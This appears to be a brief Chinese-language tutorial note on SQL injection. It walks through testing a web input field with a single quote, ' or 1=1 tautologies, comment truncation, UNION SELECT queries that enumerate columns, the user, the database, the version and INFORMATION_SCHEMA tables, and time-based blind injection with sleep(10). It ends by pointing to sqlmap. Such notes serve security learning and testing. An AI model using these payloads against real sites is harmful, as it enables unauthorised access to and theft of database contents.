1.输入框中输入单引号，报数据库语法错误，说明可以进行sql注入。
2.输入框中输入单引号加或恒成立条件，例如：' or 1=1 会查询到该表全部数据
3.输入：' or 1=1 --yangge ' 其中--后表示数据库的注释，--后的内容都不进入正式查询语句
4.使用union语句，例如输入: ' union select 1,2,3,4, --
其中1,2,3,4用于猜测返回字段的个数，一个数字表示一个字段
5. ' union select user(),database(),version() --
其中user()为返回当前用户，database()为返回当前库名，version()为数据库版本
6. ' union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables --
查询INFORMATION_SCHEMA库中的tables表中的库名和表名
7.通过时间进行盲注入，输入一个真条件然后加上一个时间函数，如果时间函数执行，则存在sql注入风险，例如输入：1' and sleep(10) -- yangge
如果页面加载了10秒，这说明存在sleep（）函数被执行，存在sql注入风险
8.sqlmap自动注入